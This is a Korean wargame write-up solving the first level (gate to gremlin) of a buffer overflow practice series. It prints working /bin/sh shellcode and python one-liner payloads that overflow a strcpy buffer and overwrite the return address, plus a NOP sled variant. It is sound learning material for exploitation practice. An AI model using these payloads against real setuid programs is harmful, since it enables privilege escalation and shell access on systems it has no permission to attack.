BOF 원정대 1번 GATE 문제이다.



아이디 비밀번호는 처음 주어진 gate/ gate로 접근하면 풀이가 가능하다

2가지 주의할 점이 있는데 시작전에 bash을 bash2로 바꿔주고 시작하는게 정신건강에 좋다. (버전 차이)

또 실행파일을 gdb에서 실행시킬 권한이 없으니 cp 파일 복사를 통해 복사본을 만들어 디버깅 한다 



bash2로 바꾸고 시작한다.  ff가 입력이 안되서 바꿔준다


많이 접해본 문제이다 버퍼의 크기는 256크기이고 함수의 인자가 2개 입력되면 argv[1]로 입력되고 strcpy 함수를 이용해서 buffer에 저장된다.

strcpy 함수의 취약점을 이용해서 버퍼오버플로우 공격을 시도한다. 

gdb로 버퍼의 시작위치와 ebp 변조될 값인 eip의 위치를 파악한다.



이부분에 브레이크를 걸고 확인해 보면 

시작 위치 부터 의도한 A값이 들어가 있는걸 확인할 수 있다.

그럼 시작 위치에 쉘코드를 삽입하고 A 더미를 ebp 위치까지 채운후 eip를 쉘코드 시작위치로 변조해주면 버퍼오버플로우 공격이 실행된다


쉘코드는 49바이트 

"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80" 를 사용한다.


총 256바이트 -49 바이트 = 207바이트  +(ebp 4바이트 ) =211바이트 (더미값)

여기까지 코드를 짜보면 

 $(python -c 'print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80" + "A" * 211')


쉘코드를 삽입하고 eip 위치를 찾았으니 eip를 쉘코드 시작 위치로 변조하면 가능하다

$(python -c 'print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80" + "A" * 211 + "\x08\xf9\xff\xbf"')



값을 입력해주면 끝난다


nop Sled

이름하야 NOP 썰매기법이라는 공격인데 이름이 인상적이다. 공격 개요를 간단하게 묘사해보면 쉘을 실행시키는 쉘 코드를 앞에 NOP 명령어를 다량 붙여서 메모리에 저장시켜두고, 버퍼 오버플로우 공격을 이용해 스택프레임의 RET 값을 쉘 코드가 있는 곳의 메모리 주소로 덮어씌워 주면 프로그램이 NOP을 따라 실행되다가 최종적으로 쉘 코드를 실행하게 된다. 여기서 프로그램이 NOP을 타고 쉘 코드 까지 내려온다고 해서 NOP Sled (NOP 썰매) 기법이라고 이름이 붙여졌다.


./gremlin $(python -c 'print "\x90"*111+"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80"+"\x90"*100+"\x58\xf9\xff\xbf"')



앞 뒤로 NOP을 넣어주고 적당한 값으로 RET을 해주면 보정작업이 따로 필요없이 미끄러지다가 쉘코드를 만나서 작동된다


'WARGAME > BOF' 카테고리의 다른 글

[BOF] wolfman->darkelf  (0) 2018.02.08
[BOF] Orc->wolfman  (0) 2018.02.08
[BOF] Goblin-> orc  (0) 2018.02.08
[BOF] cobolt-> Goblin  (0) 2018.02.08
[BOF] gremlin-> cobolt  (0) 2018.02.08

+ Recent posts